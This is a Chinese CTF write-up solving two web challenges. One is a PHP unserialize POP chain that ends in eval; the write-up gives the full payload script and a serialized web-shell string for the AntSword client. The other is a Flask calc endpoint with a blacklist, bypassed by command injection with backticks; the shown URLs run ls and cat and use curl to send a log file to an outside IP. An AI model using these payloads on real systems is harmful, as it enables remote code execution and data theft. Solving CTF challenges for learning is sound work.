web
ezpop
<?php
class crow
{
public $v1;
public $v2;
function eval() {
echo new $this->v1($this->v2);
}
public function __invoke()
{
$this->v1->world();
}
}
class fin
{
public $f1;
public function __destruct()
{
echo $this->f1 . '114514';
}
public function run()
{
($this->f1)();
}
public function __call($a, $b)
{
echo $this->f1->get_flag();
}
}
class what
{
public $a;
public function __toString()
{
$this->a->run();
return 'hello';
}
}
class mix
{
public $m1;
public function run()
{
($this->m1)();
}
public function get_flag()
{
eval('#' . $this->m1);
}
}
if (isset($_POST['cmd'])) {
unserialize($_POST['cmd']);
} else {
highlight_file(__FILE__);
}
简单的pop链,直接构造出来了,唯一有个坑就是eval后面有个#号,当时没看到折腾了好久,他本意是会注释掉后面执行的语句,不过不影响,闭合一下payload就行:
?><?=system('ls');
<?php
class crow
{
public $v1;
public $v2;
public function __construct()
{
$this->v1=new fin();
$this->v1->f1=new mix();
$this->v1->f1->m1="?><?=system('ls');";
// $this->v1->f1->m1="system('ls /')";
}
}
class fin
{
public $f1;
public function __construct()
{
$f1=$this->f1;
}
}
class what
{
public $a;
public function __construct()
{
$this->a=new fin();
$this->a->f1=new crow();
}
}
class mix
{
public $m1;
public function __construct()
{
$m1=$this->m1;
}
}
$a=new fin();
$a->f1=new what();
echo serialize($a);
或者直接用蚁剑连接,里面改成
?><?=eval(\$_POST[1]);
注意蚁剑的连接密码要换成
cmd=O:3:"fin":1:{s:2:"f1";O:4:"what":1:{s:1:"a";O:3:"fin":1:{s:2:"f1";O:4:"crow":2:{s:2:"v1";O:3:"fin":1:{s:2:"f1";O:3:"mix":1:{s:2:"m1";s:21:"?><?=eval($_POST[1]);";}}s:2:"v2";N;}}}}&1
要用这全部当密码才可以连接成功
calc
给了原码
# coding=utf-8
from flask import Flask, render_template, url_for, render_template_string, redirect, request, current_app, session, \
abort, send_from_directory
import random
from urllib import parse
import os
from werkzeug.utils import secure_filename
import time
app = Flask(__name__)
def waf(s):
blacklist = ['import', '(', ')', ' ', '_', '|', ';', '"', '{', '}', '&', 'getattr', 'os', 'system', 'class',
'subclasses', 'mro', 'request', 'args', 'eval', 'if', 'subprocess', 'file', 'open', 'popen',
'builtins', 'compile', 'execfile', 'from_pyfile', 'config', 'local', 'self', 'item', 'getitem',
'getattribute', 'func_globals', '__init__', 'join', '__dict__']
flag = True
for no in blacklist:
if no.lower() in s.lower():
flag = False
print(no)
break
return flag
@app.route("/")
def index():
"欢迎来到SUctf2022"
return render_template("index.html")
@app.route("/calc", methods=['GET'])
def calc():
ip = request.remote_addr
num = request.values.get("num")
log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S", time.localtime()), ip, num)
if waf(num):
try:
data = eval(num)
os.system(log)
except:
pass
return str(data)
else:
return "waf!!"
if __name__ == "__main__":
app.run(host='0.0.0.0', port=5000)
f12里面有个这个
大概意思就是如果python脚本执行的时候有报错就会弹出error:function()
提交的时候会请求/calc路由并提交num参数
回到py原码里面,进入到calc路由后会触发calc函数,接收num参数后,还会拼接到log里面,在经过waf函数,如果没被过滤会先执行eval,再执行system函数
@app.route("/calc", methods=['GET'])
def calc():
ip = request.remote_addr
num = request.values.get("num")
log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S", time.localtime()), ip, num)
if waf(num):
try:
data = eval(num)
os.system(log)
except:
pass
return str(data)
else:
return "waf!!"
再看看waf
blacklist = ['import', '(', ')', ' ', '_', '|', ';', '"', '{', '}', '&', 'getattr', 'os', 'system', 'class',
'subclasses', 'mro', 'request', 'args', 'eval', 'if', 'subprocess', 'file', 'open', 'popen',
'builtins', 'compile', 'execfile', 'from_pyfile', 'config', 'local', 'self', 'item', 'getitem',
'getattribute', 'func_globals', '__init__', 'join', '__dict__']
因为过滤了括号,所以把eval当做突破口有点困难,那多半把目标放在system函数里面,又由于没有禁用反引号,所以说是可以执行的。
直接执行一下`ls`
报错了,因为eval里面执行反引号会报错用井号过掉eval函数就好了传入:123#`ls`
简单说明一下#注释让eval不会报错后会进入到system函数里面,相当于传入的是
"echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S", time.localtime()), ip, num)
把一些没用的抛开大概就是
"echo {0}> ./tmp/log.txt".format(num)
传入后相当于是执行了ls然后把 #和ls结果 输入到了/tmp/log.txt里面,写进去后再把数据带出来,由于他过滤了空格,所以用tab键(%09)来代替空格就可以了
传入命令
/calc?num=1%23`curl%09-X%09GET%09-F%09xx=@tmp/log.txt%09http://139.196.123.120:7777/`
刚开始我想直接传到计算器提交的位置,后来想到传编码的话会先进入到前端,前端过滤又过不了,所以直接传到url上面或者用burp都可以。但是要进入到calc目录下
有回显,现在就是绕过了 ,读一下根目录
/calc?num=1%23`ls%09/`
/calc?num=1%23`curl%09-X%09GET%09-F%09xx=@tmp/log.txt%09http://139.196.123.120:7777/`
由于过滤了_,用通配符绕过就好了
/calc?num=1%23`cat%09/Th1s*`
/calc?num=1%23`curl%09-X%09GET%09-F%09xx=@tmp/log.txt%09http://139.196.123.120:7777/`
flag就出来了